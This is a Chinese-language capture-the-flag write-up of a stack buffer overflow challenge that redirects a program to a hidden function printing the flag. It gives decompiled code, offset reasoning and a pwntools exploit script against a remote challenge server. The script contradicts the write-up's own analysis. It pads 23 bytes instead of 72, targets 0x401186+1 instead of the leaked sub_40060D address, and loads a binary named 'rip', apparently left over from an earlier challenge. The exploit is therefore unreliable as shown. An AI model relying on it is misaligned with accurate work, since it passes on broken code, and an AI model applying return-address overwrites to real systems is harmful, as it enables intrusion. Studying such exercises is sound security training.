题目信息

解题步骤

和上一题基本一样

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
_BYTE v5[64]; // [rsp+40h] [rbp-40h] BYREF

write(1, "-Warm Up-\n", 0xAu);
write(1, "WOW:", 4u);
sprintf(s, "%p\n", sub_40060D); // sub_40060D中,调用system cat了flag
write(1, s, 9u);
write(1, ">", 1u);
return gets(v5);
}
1
2
3
4
int sub_40060D()
{
return system("cat flag.txt");
}
  1. v5 是输入缓冲区gets(v5),大小 64 字节。
  2. v5 距离 rbp 是 0x40 = 64 字节
  3. 返回地址在 rbp + 8
    • 所以从 v5 到返回地址的距离是:0x40 + 8 = 72 字节。
  4. sprintf(s, "%p\n", sub_40060D); write(1, s, 9);
    • 这行代码会打印 sub_40060D 函数的地址
    • 例如输出:WOW:0x40060d
  5. 这意味着:我们知道了 sub_40060D 的地址,也就是 system("cat flag.txt") 的地址!

由于程序没有开启 PIE(地址固定),且我们直接拿到了 sub_40060D 的地址,所以,我们可以直接跳转到 sub_40060D,执行 system("cat flag.txt"),直接读取 flag!

我们只需要:

  1. 接收程序输出,提取 sub_40060D 的地址。
  2. 构造 payload:
    • 72 字节填充(覆盖到返回地址)
    • 覆盖返回地址为 sub_40060D 的地址
  3. 发送 payload
  4. 获取 flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

# context.log_level = 'debug'
# p = process('./rip')
p = remote("node5.buuoj.cn", 29689)
elf = ELF('./rip')

# fun 函数地址
fun_addr = 0x401186 +1

# 构造 payload
payload = b'A' * 23 # 填充到返回地址
payload += p64(fun_addr) # 覆盖返回地址为 fun 函数地址

# 发送输入
p.sendline(payload)

# 切换到交互模式
p.interactive()